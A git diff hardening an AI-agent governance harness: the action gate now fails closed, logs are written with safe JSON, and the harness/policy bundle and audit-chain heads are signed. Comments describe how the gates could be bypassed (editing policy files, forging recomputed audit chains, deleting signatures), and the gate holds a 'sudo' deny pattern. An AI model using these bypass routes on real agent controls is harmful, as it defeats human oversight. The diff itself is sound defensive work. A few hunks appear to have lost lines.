diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/action-gate.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/action-gate.sh index 287e411..341955f 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/action-gate.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/action-gate.sh @@ -113,9 +113,22 @@ if re.search(r"\bsudo\b", low): print("ALLOW|ok") PY )" +PY_RC=$? -OUTCOME="${RESULT%%|*}" -REASON="${RESULT#*|}" +# SEC-04 (H-05): fail CLOSED. Previously, if the classifier crashed / was killed / +# produced no output, RESULT was empty, OUTCOME was "", and the final case fell +# through to ALLOW (fail-open). Now a non-zero classifier RC, empty output, or an +# unrecognized verdict all default to BLOCK — an action is allowed only on an +# explicit, recognized ALLOW/WARN/REQUIRE_APPROVAL verdict. +if [[ "$PY_RC" -ne 0 || -z "$RESULT" ]]; then + OUTCOME="BLOCK"; REASON="classifier_error(rc=$PY_RC)" +else + OUTCOME="${RESULT%%|*}"; REASON="${RESULT#*|}" +fi +case "$OUTCOME" in + ALLOW|WARN|REQUIRE_APPROVAL|BLOCK) : ;; + *) OUTCOME="BLOCK"; REASON="unrecognized_verdict:${OUTCOME:-empty}" ;; +esac TS="$(date -u +"%Y-%m-%dT%H:%M:%SZ")" # Approval clears REQUIRE_APPROVAL only with an explicit (audited) approver. @@ -150,7 +163,12 @@ case "$EFFECTIVE" in casan_log warn action-gate "ACTION_WARN reason=$REASON" echo "ACTION_GATE outcome=WARN reason=$REASON" exit 0 ;; - *) + ALLOW) echo "ACTION_GATE outcome=ALLOW reason=$REASON" exit 0 ;; + *) + # SEC-04: fail-closed default — never ALLOW on an unexpected/empty verdict. + casan_log error action-gate "ACTION_GATE_FAILCLOSED outcome=${EFFECTIVE:-empty} reason=$REASON" + echo "ACTION_GATE outcome=BLOCK reason=failclosed:${EFFECTIVE:-empty} ($REASON)" >&2 + exit 2 ;; esac diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/agent-metrics.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/agent-metrics.sh index 9bfd1d0..d74162f 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/agent-metrics.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/agent-metrics.sh @@ -194,13 +194,55 @@ cat > "$TRACE_FILE" <> "$METRICS_LOG" +# SEC-05 (M-05): serialize via json.dumps so a crafted AGENT_NAME/STEP_NAME cannot +# inject a forged metrics record, and an empty/non-numeric metric can't emit invalid +# JSON. String fields are quoted safely; numeric fields are coerced (fail-safe 0). +CASAN_AM_HALLU="$HALLUCINATION_SIGNALS" CASAN_AM_ALERTS="$ALERTS_JSON" python - "$METRICS_LOG" \ + "$START_TS" "$TRACE_ID" "$AGENT_NAME" "$STEP_NAME" "$STATUS" "$EXIT_CODE" "$LATENCY_MS" \ + "$RETRY_COUNT" "$INPUT_TOKENS" "$OUTPUT_TOKENS" "$TOTAL_TOKENS" "$COST_ESTIMATE" "$COST_SOURCE" \ + "$INPUT_HASH" "$OUTPUT_HASH" <<'PY' +import json, os, sys +(log, ts, trace_id, agent, step, status, exit_code, latency, retry, + in_tok, out_tok, tot_tok, cost, cost_source, in_hash, out_hash) = sys.argv[1:] +def num(x): + try: return int(x) + except (ValueError, TypeError): pass + try: return float(x) + except (ValueError, TypeError): return 0 +def jval(s, default): + try: return json.loads(s) + except (ValueError, TypeError): return default +rec = {"timestamp": ts, "trace_id": trace_id, "harness": "H6-agentops", + "agent": agent, "step": step, "status": status, + "exit_code": num(exit_code), "latency_ms": num(latency), "retry_count": num(retry), + "input_tokens": num(in_tok), "output_tokens": num(out_tok), "total_tokens": num(tot_tok), + "cost_estimate": jval(cost, 0), "cost_source": cost_source, + "hallucination_signals": jval(os.environ.get("CASAN_AM_HALLU"), 0), + "alerts": jval(os.environ.get("CASAN_AM_ALERTS"), []), + "input_hash": in_hash, "output_hash": out_hash} +# Compact separators to match the original printf layout (regex-parsed downstream). +open(log, "a", encoding="utf-8").write(json.dumps(rec, separators=(",", ":")) + "\n") +PY for alert in "${ALERTS[@]:-}"; do if [[ -n "$alert" ]]; then - ALERT_JSON="$(printf '{"timestamp":"%s","trace_id":"%s","severity":"WARN","resource":{"service.name":"%s","service.version":"1.0.0"},"body":{"message":"Alert triggered: %s","alert.type":"%s","step.name":"%s"},"attributes":{"latency_ms":%s,"status":"%s"}}' \ - "$START_TS" "$TRACE_ID" "$AGENT_NAME" "$alert" "$alert" "$STEP_NAME" "$LATENCY_MS" "$STATUS")" + # SEC-05 (M-05): build the alert record with json.dumps (agent/alert/step raw before). + ALERT_JSON="$(python - "$START_TS" "$TRACE_ID" "$AGENT_NAME" "$alert" "$STEP_NAME" "$LATENCY_MS" "$STATUS" <<'PY' +import json, sys +ts, trace_id, agent, alert, step, latency, status = sys.argv[1:] +def num(x): + try: return int(x) + except (ValueError, TypeError): + try: return float(x) + except (ValueError, TypeError): return 0 +print(json.dumps({ + "timestamp": ts, "trace_id": trace_id, "severity": "WARN", + "resource": {"service.name": agent, "service.version": "1.0.0"}, + "body": {"message": f"Alert triggered: {alert}", "alert.type": alert, "step.name": step}, + "attributes": {"latency_ms": num(latency), "status": status}, +}, separators=(",", ":"))) +PY +)" printf '%s\n' "$ALERT_JSON" >> "$ALERT_LOG" # Live dispatch (H6-D1): push to the real alert channel when configured. # Delivery failure is queued to the dead-letter file by alert-dispatch.sh. diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/bundle-integrity.py b/AINative_OKR_CASAN5/.specify/scripts/bash/bundle-integrity.py new file mode 100644 index 0000000..d14e813 --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/bundle-integrity.py @@ -0,0 +1,199 @@ +#!/usr/bin/env python3 +"""CASAN Plan-16 SEC-16 (ARCH-01) — signed harness + policy bundle. + +Every gate is bypassable by editing the gate itself: change `security-check.sh`, +`prompt-filter.yaml`, `thresholds.yaml`, `model-digest.pin` or `reviewers.registry` +and the control is simply gone — no input needed. This binds the harness code + +policy files to a manifest whose head is signed with an OFF-REPO key. Before a +run, the harness verifies its self-hash against the signed manifest and REFUSES to +run on any mismatch (enforced mode). An attacker who edits a gate cannot re-sign +the manifest without the off-repo key. + +Usage: + bundle-integrity.py generate # hash harness+policy, write + sign manifest + bundle-integrity.py verify [--strict] # re-check; exit 1 on drift / bad signature + +Env: CASAN_BUNDLE_ROOT (default .specify), CASAN_BUNDLE_MANIFEST, + CASAN_BUNDLE_KEY_DIR, CASAN_BUNDLE_PUB, + CASAN_PROFILE=prod / CASAN_VERIFY_STRICT=1 (enforce signature + drift). +""" +import argparse +import fnmatch +import glob +import hashlib +import json +import os +import shutil +import subprocess +import sys + +# Harness code + policy/data files whose modification would silently disable a +# control. Globs are relative to the bundle root (default .specify). +INCLUDE_GLOBS = [ + "scripts/bash/*.sh", + "scripts/bash/*.py", + "**/prompt-filter.yaml", + "**/thresholds.yaml", + "**/compression-policy.yaml", + "**/*.pin", + "**/reviewers.registry", + "**/pii-rules.yaml", + "**/pii-rules.json", + "**/redteam-vectors.yaml", + "**/attack-catalog.yaml", +] +# Never bind volatile artifacts (they change every run) or the manifest itself. +EXCLUDE_SUBSTR = ["/logs/", "/output/", "bundle-integrity", "test-integrity"] + + +def bundle_root() -> str: + return os.environ.get("CASAN_BUNDLE_ROOT") or os.path.join( + os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "..")), ".specify") + + +def manifest_path() -> str: + return os.environ.get("CASAN_BUNDLE_MANIFEST") or os.path.join( + bundle_root(), "level5", "central-governance", "harness-bundle-manifest.json") + + +def _enforced() -> bool: + return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1" + + +def bundle_files(): + root = bundle_root() + found = set() + for pat in INCLUDE_GLOBS: + for path in glob.glob(os.path.join(root, pat), recursive=True): + if os.path.isfile(path) and not any(s in path.replace(os.sep, "/") for s in EXCLUDE_SUBSTR): + found.add(path) + return sorted(found) + + +def hash_file(path) -> str: + return hashlib.sha256(open(path, "rb").read()).hexdigest() + + +def build_manifest(): + root = bundle_root() + files = {os.path.relpath(f, root): hash_file(f) for f in bundle_files()} + return {"files": files, "file_count": len(files)} + + +def manifest_head(manifest) -> str: + core = json.dumps(manifest["files"], sort_keys=True, separators=(",", ":")) + return hashlib.sha256(core.encode()).hexdigest() + + +def _priv(): + d = os.environ.get("CASAN_BUNDLE_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys") + return os.path.join(d, "harness-bundle-private.pem") + + +def _pub(): + return os.environ.get("CASAN_BUNDLE_PUB") or (manifest_path() + ".pub") + + +def _sig(): + return manifest_path() + ".sig" + + +def _head_file(): + return manifest_path() + ".head" + + +def sign(manifest): + open(_head_file(), "w", encoding="utf-8").write(manifest_head(manifest)) + ossl = shutil.which("openssl") + if not ossl: + return + priv, pub = _priv(), _pub() + os.makedirs(os.path.dirname(priv), exist_ok=True) + if not os.path.isfile(priv): + subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", "-out", priv], + capture_output=True) + try: + os.chmod(priv, 0o600) + except OSError: + pass + os.makedirs(os.path.dirname(pub) or ".", exist_ok=True) + subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True) + subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", _sig(), _head_file()], capture_output=True) + + +def check_signature(manifest): + ossl = shutil.which("openssl") + if not (ossl and os.path.isfile(_head_file()) and os.path.isfile(_sig()) and os.path.isfile(_pub())): + return "unsigned" + if open(_head_file(), encoding="utf-8").read().strip() != manifest_head(manifest): + return "invalid" + res = subprocess.run([ossl, "dgst", "-sha256", "-verify", _pub(), "-signature", _sig(), _head_file()], + capture_output=True) + return "signed" if res.returncode == 0 else "invalid" + + +def do_generate(): + manifest = build_manifest() + os.makedirs(os.path.dirname(manifest_path()), exist_ok=True) + with open(manifest_path(), "w", encoding="utf-8") as fh: + json.dump(manifest, fh, indent=2) + fh.write("\n") + sign(manifest) + print(f"BUNDLE_INTEGRITY_GENERATED files={manifest['file_count']}") + return 0 + + +def do_verify(strict): + mp = manifest_path() + if not os.path.isfile(mp): + # No manifest provisioned. Enforced mode treats this as fail-closed; dev is lax. + if strict or _enforced(): + print("BUNDLE_INTEGRITY_FAIL no_manifest_in_enforced_mode", file=sys.stderr) + return 1 + print("BUNDLE_INTEGRITY_SKIP no manifest (dev)") + return 0 + manifest = json.load(open(mp, encoding="utf-8")) + root = bundle_root() + stored = manifest.get("files", {}) + drift = [] + for rel, want in stored.items(): + path = os.path.join(root, rel) + if not os.path.isfile(path): + drift.append(f"{rel}:removed") + elif hash_file(path) != want: + drift.append(f"{rel}:modified") + # A NEW harness script / policy file that is not in the manifest is also drift. + current = {os.path.relpath(f, root) for f in bundle_files()} + for rel in current - set(stored): + drift.append(f"{rel}:unmanifested") + + sig_state = check_signature(manifest) + if sig_state == "invalid": + print("BUNDLE_INTEGRITY_FAIL manifest_signature_invalid", file=sys.stderr) + return 1 + if sig_state == "unsigned" and (strict or _enforced()): + print("BUNDLE_INTEGRITY_FAIL manifest_unsigned_in_enforced_mode", file=sys.stderr) + return 1 + if drift: + print("BUNDLE_INTEGRITY_FAIL drift " + " ".join(sorted(drift)[:20]), file=sys.stderr) + return 1 + print(f"BUNDLE_INTEGRITY_OK files={len(stored)} anchor={sig_state}") + return 0 + + +def main() -> int: + ap = argparse.ArgumentParser() + sub = ap.add_subparsers(dest="cmd", required=True) + sub.add_parser("generate") + v = sub.add_parser("verify") + v.add_argument("--strict", action="store_true") + args = ap.parse_args() + if args.cmd == "generate": + return do_generate() + if args.cmd == "verify": + return do_verify(args.strict) + return 2 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/casan-harness.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/casan-harness.sh index 65b19a2..9ecd765 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/casan-harness.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/casan-harness.sh @@ -84,8 +84,9 @@ RAW_OUTPUT="$TMP_DIR/raw-output-$TRACE_SUFFIX.txt" casan_log debug harness "action=$ACTION_NAME input=$INPUT_FILE output=$FINAL_OUTPUT key=${IDEMPOTENCY_KEY:0:12}…" # C7: honor an engaged kill-switch before doing any work (incident containment). -# Opt-in (default off) so the baseline is unchanged; production sets it on. -if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" ]]; then +# Opt-in (default off) so the baseline is unchanged. SEC-17 (ARCH-03): under +# CASAN_PROFILE=prod it defaults ON (secure-by-default); an explicit =0 still wins. +if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" || ( -z "${CASAN_KILLSWITCH_ENFORCE+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then KS_SCOPE="${CASAN_KILLSWITCH_SCOPE:-project}" KS_ID="${CASAN_KILLSWITCH_ID:-${CASAN_PROJECT:-current}}" if ! bash "$SCRIPT_DIR/kill-switch.sh" check "$KS_SCOPE" "$KS_ID" >/dev/null 2>&1; then @@ -96,6 +97,23 @@ if [[ "${CASAN_KILLSWITCH_ENFORCE:-0}" == "1" ]]; then fi fi +# SEC-16 (ARCH-01): in enforced mode, verify the harness+policy bundle against its +# signed manifest and REFUSE to run on any drift — editing a gate/policy is a bypass +# that leaves no input trace. Only active when a manifest is provisioned (so dev and +# prod-without-a-manifest are unaffected); a present-but-drifted bundle fails closed. +if [[ ( "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ) \ + && -f "$SCRIPT_DIR/bundle-integrity.py" ]]; then + BUNDLE_MANIFEST="${CASAN_BUNDLE_MANIFEST:-$PROJECT_ROOT/.specify/level5/central-governance/harness-bundle-manifest.json}" + if [[ -f "$BUNDLE_MANIFEST" ]]; then + if ! python "$SCRIPT_DIR/bundle-integrity.py" verify >/dev/null 2>&1; then + casan_log error harness "BUNDLE_INTEGRITY_DRIFT — refusing to run $ACTION_NAME (harness/policy modified vs signed manifest)" + : > "$FINAL_OUTPUT" + echo "BUNDLE_INTEGRITY_DRIFT action=$ACTION_NAME (harness or policy modified vs signed manifest)" >&2 + exit 2 + fi + fi +fi + run_phase "H4-in" "$SCRIPT_DIR/security-check.sh" "$INPUT_FILE" "$SAFE_INPUT" input run_phase "H5" "$SCRIPT_DIR/governance-check.sh" "$SAFE_INPUT" "$APPROVED_INPUT" "$ACTION_NAME" @@ -136,7 +154,8 @@ fi # broken; block enforces (fail-closed) for production/strict runs. TOOL_OUTPUT_SCAN_MODE="${CASAN_TOOL_OUTPUT_SCAN:-}" if [[ -z "$TOOL_OUTPUT_SCAN_MODE" ]]; then - if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" ]]; then TOOL_OUTPUT_SCAN_MODE="block"; else TOOL_OUTPUT_SCAN_MODE="warn"; fi + # SEC-17/M-02: prod profile defaults tool-output scanning to block (fail-closed). + if [[ "${CASAN_SECURITY_STRICT:-0}" == "1" || ( -z "${CASAN_SECURITY_STRICT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then TOOL_OUTPUT_SCAN_MODE="block"; else TOOL_OUTPUT_SCAN_MODE="warn"; fi fi if [[ "$TOOL_OUTPUT_SCAN_MODE" != "off" ]]; then TOS_RC=0 diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/ci-harness-gate.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/ci-harness-gate.sh index 9449afe..2536a84 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/ci-harness-gate.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/ci-harness-gate.sh @@ -86,6 +86,22 @@ run "phase-selfimprove" bash "$TESTS/phase-selfimprove-tests.sh" run "phase-governance-report" bash "$TESTS/phase-governance-report-tests.sh" run "phase-preflight" bash "$TESTS/phase-preflight-tests.sh" +# Plan-16 security-audit remediation (P0) — each control has a fail-able test. +run "phase-sec01-unsigned-fail" bash "$TESTS/phase-sec01-tests.sh" +run "phase-sec02-no-local-key" bash "$TESTS/phase-sec02-tests.sh" +run "phase-sec03-rollback-rce" bash "$TESTS/phase-sec03-tests.sh" +run "phase-sec04-action-gate" bash "$TESTS/phase-sec04-tests.sh" +run "phase-sec05-json-safe" bash "$TESTS/phase-sec05-tests.sh" +run "phase-sec06-cp-signed" bash "$TESTS/phase-sec06-tests.sh" +run "phase-sec16-bundle" bash "$TESTS/phase-sec16-tests.sh" +run "phase-sec17-prod-profile" bash "$TESTS/phase-sec17-tests.sh" +run "phase-sec18-test-integrity" bash "$TESTS/phase-sec18-tests.sh" + +# ARCH-02: coverage cannot silently drop; ARCH-01: harness/policy cannot silently +# drift. Both SKIP cleanly when no manifest is provisioned (non-strict dev/CI). +run "test-integrity" python3 "$SCRIPT_DIR/test-integrity.py" verify +run "bundle-integrity" python3 "$SCRIPT_DIR/bundle-integrity.py" verify + if [[ "${CASAN_CI_RUN_BACKEND:-1}" == "1" ]]; then if command -v npm >/dev/null 2>&1; then run "backend-tests" npm test -w backend diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/control-plane-settings.py b/AINative_OKR_CASAN5/.specify/scripts/bash/control-plane-settings.py index 643cdab..7d8da3b 100644 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/control-plane-settings.py +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/control-plane-settings.py @@ -15,6 +15,8 @@ import argparse import hashlib import json import os +import shutil +import subprocess import sys from datetime import datetime, timezone @@ -79,6 +81,79 @@ def append_audit(store, base) -> None: store["audit"].append({**without_hash, "hash": hash_entry(without_hash)}) +# --- SEC-06 (H-06): sign the audit-chain HEAD ------------------------------- +# The hash chain alone is recomputable: a file-writer who edits the store can +# recompute every hash and `verify-audit` (chain-only) would still PASS, so +# governance-report would falsely report CERTIFIED. Signing the head with an +# OFF-REPO private key (pubkey provisioned out-of-band; KMS in prod = SEC-02/16) +# means a recompute-attacker without the key cannot forge a matching signature. + +def _enforced() -> bool: + return os.environ.get("CASAN_PROFILE") == "prod" or os.environ.get("CASAN_VERIFY_STRICT") == "1" + + +def _cp_priv() -> str: + key_dir = os.environ.get("CASAN_CP_KEY_DIR") or os.path.join(os.path.expanduser("~"), ".casan", "audit-keys") + return os.path.join(key_dir, "cp-private.pem") + + +def _cp_pub() -> str: + # Prod provisions this out-of-band (or via KMS). Default is adjacent to the + # store for self-contained dev; an attacker who can also rewrite the pubkey is + # covered by ARCH-01/SEC-16 (signed harness+policy bundle). + return os.environ.get("CASAN_CP_PUB") or (store_path() + ".pub") + + +def _head_paths(): + sp = store_path() + return sp + ".head", sp + ".head.sig" + + +def chain_head(store) -> str: + return store["audit"][-1]["hash"] if store["audit"] else GENESIS_HASH + + +def sign_head(store) -> None: + head_file, sig_file = _head_paths() + head = chain_head(store) + with open(head_file, "w", encoding="utf-8") as fh: + fh.write(head) + ossl = shutil.which("openssl") + if not ossl: + return # keyless dev: no signature — enforced mode rejects at verify time + priv, pub = _cp_priv(), _cp_pub() + os.makedirs(os.path.dirname(priv), exist_ok=True) + if not os.path.isfile(priv): + subprocess.run([ossl, "genpkey", "-algorithm", "RSA", "-pkeyopt", "rsa_keygen_bits:2048", + "-out", priv], capture_output=True) + try: + os.chmod(priv, 0o600) + except OSError: + pass + os.makedirs(os.path.dirname(pub) or ".", exist_ok=True) + # Always re-export the pubkey so it matches the signing key (key-sync invariant). + subprocess.run([ossl, "rsa", "-in", priv, "-pubout", "-out", pub], capture_output=True) + subprocess.run([ossl, "dgst", "-sha256", "-sign", priv, "-out", sig_file, head_file], capture_output=True) + + +def verify_signature(store): + """Returns state in {'signed','unsigned','invalid'} + a detail string.""" + head_file, sig_file = _head_paths() + pub = _cp_pub() + ossl = shutil.which("openssl") + if not (ossl and os.path.isfile(head_file) and os.path.isfile(sig_file) and os.path.isfile(pub)): + return "unsigned", "missing signature/pubkey/openssl" + try: + stored_head = open(head_file, encoding="utf-8").read().strip() + except OSError: + return "invalid", "head-file unreadable" + if stored_head != chain_head(store): + return "invalid", "head-file != recomputed head (chain recomputed?)" + res = subprocess.run([ossl, "dgst", "-sha256", "-verify", pub, "-signature", sig_file, head_file], + capture_output=True) + return ("signed", "ok") if res.returncode == 0 else ("invalid", "signature verify failed") + + def do_set(key, value, actor, reason, approval): policy = SETTINGS_POLICY.get(key) if policy is None: @@ -105,6 +180,7 @@ def do_set(key, value, actor, reason, approval): "actor": actor, "reason": reason, "at": nxt["updatedAt"], }) save_store(store) + sign_head(store) print(json.dumps(nxt, ensure_ascii=False)) return 0 @@ -131,6 +207,7 @@ def do_rollback(key, actor, reason): "actor": actor, "reason": reason, "at": restored["updatedAt"], }) save_store(store) + sign_head(store) print(json.dumps(restored, ensure_ascii=False)) return 0 @@ -141,9 +218,17 @@ def verify_audit(): for entry in store["audit"]: rest = {k: v for k, v in entry.items() if k != "hash"} if rest.get("prevHash") != prev_hash or hash_entry(rest) != entry["hash"]: - return {"ok": False, "brokenAt": entry["seq"]} + return {"ok": False, "brokenAt": entry["seq"], "anchor": "chain-broken"} prev_hash = entry["hash"] - return {"ok": True, "brokenAt": None} + # SEC-06: the chain is recomputable, so require a valid HEAD signature. A + # present-but-mismatched signature is always a failure; a MISSING signature + # fails only in enforced mode (dev stays permissive for backward compat). + sig_state, detail = verify_signature(store) + if sig_state == "invalid": + return {"ok": False, "brokenAt": None, "anchor": "signature-invalid", "detail": detail} + if sig_state == "unsigned" and _enforced(): + return {"ok": False, "brokenAt": None, "anchor": "unsigned-strict-fail", "detail": detail} + return {"ok": True, "brokenAt": None, "anchor": sig_state} def parse_value(raw): @@ -185,7 +270,7 @@ def main() -> int: print(json.dumps(load_store()["audit"], ensure_ascii=False)); return 0 if args.cmd == "verify-audit": verdict = verify_audit() - print(f"CP_AUDIT ok={verdict['ok']} brokenAt={verdict['brokenAt']}") + print(f"CP_AUDIT ok={verdict['ok']} brokenAt={verdict['brokenAt']} anchor={verdict.get('anchor')}") return 0 if verdict["ok"] else 1 if args.cmd == "effective": # Single read path for "effective setting": store value if set, else default. diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/evidence-pack.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/evidence-pack.sh index 65e4cb1..4450da2 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/evidence-pack.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/evidence-pack.sh @@ -103,6 +103,17 @@ case "$CMD" in exit 1 fi else + # SEC-01 (H-01): enforced mode treats a missing/unverifiable pack signature + # as FAIL, otherwise deleting evidence-pack.sig after editing packed files + # would still verify as a "valid unsigned" pack. + if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then + MISSING="" + [[ -f "$SIG_FILE" ]] || MISSING="$MISSING pack-sig" + [[ -f "$AUDIT_PUB" ]] || MISSING="$MISSING pubkey" + command -v openssl >/dev/null 2>&1 || MISSING="$MISSING openssl" + echo "EVIDENCE_PACK_UNSIGNED_STRICT_FAIL dir=$PACK_DIR missing=${MISSING# }" >&2 + exit 1 + fi echo "EVIDENCE_PACK_VALID anchor=unsigned dir=$PACK_DIR" fi ;; diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/governance-check.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/governance-check.sh index a80486c..2b9b294 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/governance-check.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/governance-check.sh @@ -150,27 +150,37 @@ RECORD_CORE="$(printf '%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s' "$TIMESTAMP" "$TRACE_ID RECORD_HASH="$(printf '%s' "$RECORD_CORE" | hash_text)" TRACE_FILE="$TRACE_DIR/governance-$TRACE_ID.json" -cat > "$TRACE_FILE" <> "$AUDIT_LOG" +trace = {**rec, "reasons": reasons} +with open(trace_file, "w", encoding="utf-8") as f: + json.dump(trace, f, indent=2) + f.write("\n") +with open(audit_log, "a", encoding="utf-8") as f: + # Compact separators: the chain line is regex-parsed elsewhere and must match + # the original printf format (no space after ':' / ','). + f.write(json.dumps(rec, separators=(",", ":")) + "\n") +PY # --- External anchor: cryptographically sign the new chain head --- # A re-forged chain (recomputed hashes) changes the head; without the private @@ -186,16 +196,27 @@ if command -v openssl >/dev/null 2>&1; then AUDIT_PUB="$PUB_DIR/audit-public.pem" mkdir -p "$PUB_DIR" "$PRIV_DIR" if [[ ! -f "$AUDIT_PRIV" ]]; then - openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$AUDIT_PRIV" 2>/dev/null - chmod 600 "$AUDIT_PRIV" + if [[ "${CASAN_PROFILE:-}" == "prod" || "${CASAN_VERIFY_STRICT:-}" == "1" ]]; then + # SEC-02 (H-02): in enforced mode NEVER auto-generate a local signing key. + # A freshly-minted key next to the data lets any file-writer re-sign a forged + # head. Prod must provision the key out-of-band (KMS/HSM — see sign-audit-head.sh + # Vault path). With no key we skip signing; the head stays unsigned and SEC-01 + # strict verification then FAILS CLOSED. + echo "AUDIT_SIGN_SKIPPED_ENFORCED no off-repo/KMS key provisioned; head left unsigned (verify fails closed)" >&2 + else + openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out "$AUDIT_PRIV" 2>/dev/null + chmod 600 "$AUDIT_PRIV" + fi + fi + if [[ -f "$AUDIT_PRIV" ]]; then + # Always re-export the public key so it matches the private key we sign with. + # Without this, a private key that PERSISTS on a CI runner drifts out of sync + # with a freshly checked-out audit-public.pem (e.g. one committed after a + # Vault-KMS signing), and verify-audit-chain.sh would reject a genuine head. + openssl rsa -in "$AUDIT_PRIV" -pubout -out "$AUDIT_PUB" 2>/dev/null || true + printf '%s' "$RECORD_HASH" > "$AUDIT_DIR/audit-head.txt" + openssl dgst -sha256 -sign "$AUDIT_PRIV" -out "$AUDIT_DIR/audit-head.sig" "$AUDIT_DIR/audit-head.txt" 2>/dev/null || true fi - # Always re-export the public key so it matches the private key we sign with. - # Without this, a private key that PERSISTS on a CI runner drifts out of sync - # with a freshly checked-out audit-public.pem (e.g. one committed after a - # Vault-KMS signing), and verify-audit-chain.sh would reject a genuine head. - openssl rsa -in "$AUDIT_PRIV" -pubout -out "$AUDIT_PUB" 2>/dev/null || true - printf '%s' "$RECORD_HASH" > "$AUDIT_DIR/audit-head.txt" - openssl dgst -sha256 -sign "$AUDIT_PRIV" -out "$AUDIT_DIR/audit-head.sig" "$AUDIT_DIR/audit-head.txt" 2>/dev/null || true fi if [[ "$DECISION" != "approved" ]]; then diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/incident.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/incident.sh index c23c487..cfdc9b7 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/incident.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/incident.sh @@ -71,10 +71,15 @@ else casan_log warn incident "INCIDENT sev=$SEV event=$EVENT scope=$SCOPE id=$ID owner=$OWNER" fi +# SEC-05 (M-05): the keyless printf fallback below must not permit JSON injection +# either — strip quotes/backslashes/newlines from interpolated fields so a crafted +# EVENT/OWNER/SCOPE cannot forge a second incident record. +_json_strip() { local s="${1//\\/}"; s="${s//\"/}"; s="${s//$'\n'/ }"; s="${s//$'\r'/ }"; printf '%s' "$s"; } + # Record a structured incident entry. python - "$LOG" "$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" "$DETAIL" "$RUNBOOK" <<'PY' 2>/dev/null || \ printf '{"timestamp":"%s","event":"%s","severity":"%s","owner":"%s","scope":"%s","id":"%s","action":"%s"}\n' \ - "$TS" "$EVENT" "$SEV" "$OWNER" "$SCOPE" "$ID" "$ACTION" >> "$LOG" + "$(_json_strip "$TS")" "$(_json_strip "$EVENT")" "$(_json_strip "$SEV")" "$(_json_strip "$OWNER")" "$(_json_strip "$SCOPE")" "$(_json_strip "$ID")" "$(_json_strip "$ACTION")" >> "$LOG" import json, sys log, ts, event, sev, owner, scope, iid, action, detail, runbook = sys.argv[1:11] with open(log, "a", encoding="utf-8") as f: diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/model-router.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/model-router.sh index 9114a32..8add8bb 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/model-router.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/model-router.sh @@ -12,8 +12,9 @@ SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" # Opt-in governance preflight (default off ⇒ no change to existing flows). # When enabled, enforces RAI data governance (e.g. PII must not reach a cloud -# model without approval) BEFORE the model call. -if [[ "${CASAN_PREFLIGHT:-0}" == "1" ]]; then +# model without approval) BEFORE the model call. SEC-17 (ARCH-03): default ON under +# CASAN_PROFILE=prod (secure-by-default); an explicit CASAN_PREFLIGHT=0 still wins. +if [[ "${CASAN_PREFLIGHT:-0}" == "1" || ( -z "${CASAN_PREFLIGHT+x}" && "${CASAN_PROFILE:-}" == "prod" ) ]]; then bash "$SCRIPT_DIR/harness-preflight.sh" "$@" >/dev/null || exit $? fi diff --git a/AINative_OKR_CASAN5/.specify/scripts/bash/rollback-manager.sh b/AINative_OKR_CASAN5/.specify/scripts/bash/rollback-manager.sh index 25078c6..d5356b4 100755 --- a/AINative_OKR_CASAN5/.specify/scripts/bash/rollback-manager.sh +++ b/AINative_OKR_CASAN5/.specify/scripts/bash/rollback-manager.sh @@ -35,8 +35,11 @@ if [[ "$MODE" == "checkpoint" ]]; then python 